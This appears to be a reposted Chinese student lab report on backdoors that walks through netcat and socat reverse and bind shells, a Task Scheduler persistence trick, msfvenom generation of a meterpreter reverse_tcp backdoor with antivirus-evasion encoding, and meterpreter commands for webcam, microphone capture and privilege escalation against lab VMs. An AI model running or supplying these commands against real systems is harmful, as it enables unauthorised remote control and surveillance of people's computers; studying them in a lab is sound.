20165324 何春江网络对抗技术 Exp：2 后门原理与实践

Posted 2021-02-14 20165324hcj

tags:

篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了20165324 何春江网络对抗技术 Exp：2 后门原理与实践相关的知识，希望对你有一定的参考价值。

20165324 何春江网络对抗技术 Exp：2 后门原理与实践

课程学习：

后门

后门：是不经过正常认证流程而访问系统的通道，存在与编译器、操作系统、固件和应用中等等。
后门工作流程：程序→植入→运行→免杀。

后门工具：NC（netcat）
是一个底层工具，进行基本的TCP UDP数据收发。常被与其他工具结合使用，起到后门的作用。

NC命令
端口扫描
chat Server
文件传输
目录传输
加密数据
流视频
打开shell
反向shell

课下实验

实验准备：

获取IP地址：windows系统IP地址为192.168.44.130、linux系统IP地址为192.168.44.128。
软件下载：码云。

实验内容：

使用netcat获取主机操作Shell，cron启动 (0.5分)
使用socat获取主机操作Shell, 任务计划启动 (0.5分)
使用MSF meterpreter（或其他软件）生成可执行文件，利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
使用MSF meterpreter（或其他软件）生成获取目标主机音频、摄像头、击键记录等内容，并尝试提权 (2分)
可选加分内容：使用MSF生成shellcode,注入到实践1中的pwn1中，获取反弹连接Shell(1分）加分内容一并写入本实验报告。

实验2.1 netcat的使用

window获取linux系统

Windows 打开监听：ncat.exe -l -p 5324。
Linux反弹连接Win，输入命令nc 192.168.44.130 -e /bin/sh。
Windows下获得一个linux shell，可运行任何指令

技术图片

linux获取windows系统

Linux运行监听指令，输入命令nc -l -p 5324
Windows反弹连接Linux，在ncat目录下输入命令ncat.exe -e cmd.exe 192.168.44.128 5324
linux下获得一个windows cmd

技术图片

传输文件

用nc命令传输文件的格式如下：

目的主机监听：

nc -l 监听端口 > 要接收的文件名

源主机发起请求：

nc 目的主机ip 目的端口

将windows作为目的主机，5324作为端口，接受的文件名为hcj.txt。命令行输入：ncat -l 5324 > hcj.txt开启监听。
将kali作为原主机发送请求，命令行输入：nc 192.168.44.130 5324 < hcj.txt
windows下的ncat目录中出现文件。

技术图片

实验2.2 socat的使用

linux下源码安装

wget http://www.dest-unreach.org/socat/download/socat-1.7.0.1.tar.gz
tar -zxvf socat-1.7.0.1.tar.gz
cd socat-1.7.0.1
./configure --disable-fips
make && make install

socat:加强版的netcat。

linux获取windows权限

windows下操作：
1. 在Windows7中打开开始菜单，搜索管理工具并打开：
2. 找到任务计划程序并打开，点击创建任务
3. 点击触发器选项卡，选择新建，然后将开始任务设置为工作站锁定时
4. 点击常规选项卡，输入名称(学号)
5. 再点击操作选项卡，点击新建，程序或脚本中选择socat.exe路径，在添加参数一栏中写tcp-listen:5324 exec:cmd.exe,pty,stderr（作用是把cmd.exe绑定到端口5314，同时把cmd.exe的stderr重定向到stdout上），点击确定保存设置
6. 点击右栏中的显示所有正在运行的任务，找到刚刚创建的20165324任务，右键点击运行，此时会弹出一个黑色的框框表明成功运行

技术图片

实验2.3 使用MSF meterpreter、ncat获取主机Shell

MSF meterpreter

是一个平台能生成后门程序。这个平台包括后门的
1. 基本功能（基本的连接、执行指令），
2. 扩展功能（如搜集用户信息、安装服务等功能），
3. 编码模式，
4. 运行平台，
5. 运行参数
meterpreter的剖析：使用msf生成的meterpreter的shellcode，这段shellcode就只干了如下事情：连接服务器，接收载荷，并将控制权转移到载荷。

实验步骤：

window可执行文件复制到linux下的/home目录下
命令行输入：msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.44.128 LPORT=5324 -f exe > 20165324_backdoor.exe
参数说明：
1. LHOST为攻击者的IP地址，这里使用的是反弹连接攻击
2. -p 使用的payload。payload翻译为有效载荷，就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode,Payload中包含有需要在远程系统中运行的恶意代码，而在Metasploit中Payload是一种特殊模块，它们能够以漏洞利用模块运行，并能够利用目标系统中的安全漏洞实施攻击。简而言之，这种漏洞利用模块可以访问目标系统，而其中的代码定义了Payload在目标系统中的行为。
3. -x 使用的可执行文件模板，payload(shellcode)就写入到这个可执行文件中
4. -e 使用的编码器，用于对shellcode变形，为了免杀
5. -i 编码器的迭代次数。如上即使用该编码器编码5次
6. -b badchar是payload中需要去除的字符
7. LHOST 是反弹回连的IP
8. LPORT 是回连的端口
9. -f 生成文件的类型
10. 输出到哪个文件
11. reverse_tcp表示基于tcp的反向链接反弹shell

基于http方式的反向连接

生成的文件通过ncat命令复制到Windows中。
MSF打开监听：

在Kali Linux中输入msfconsole命令
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.211.55.10 //注意此处应为Linux的IP!
set LPORT 5314 //5314为端口号
show options
exploit

windows下运行20165324_backdoor.exe，双击运行。
linux获取windows的主动连接，得到远程控制shell。

技术图片

使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容，并尝试提权

入侵成功后，输入help，查看meterpreter提供的命令及功能。
常用命令及功能：具体看help给定的。
1. download +file path：下载文件
2. upload+ file path:上传文件
3. cat filename:查看文件内容
4. sysinfo：显示远程主机的系统信息
5. execute -f file：执行一个命令，如execute -H -f otepad.exe,参数-H表示隐藏，在后台执行。
6. screenshot:抓图
7. webcam_snap:拍照
8. webcam_stream:录像
9. record_mic：录音
10. getsystem:命令提权
如图（摄像头没有，程序提示错误。命令提权失败）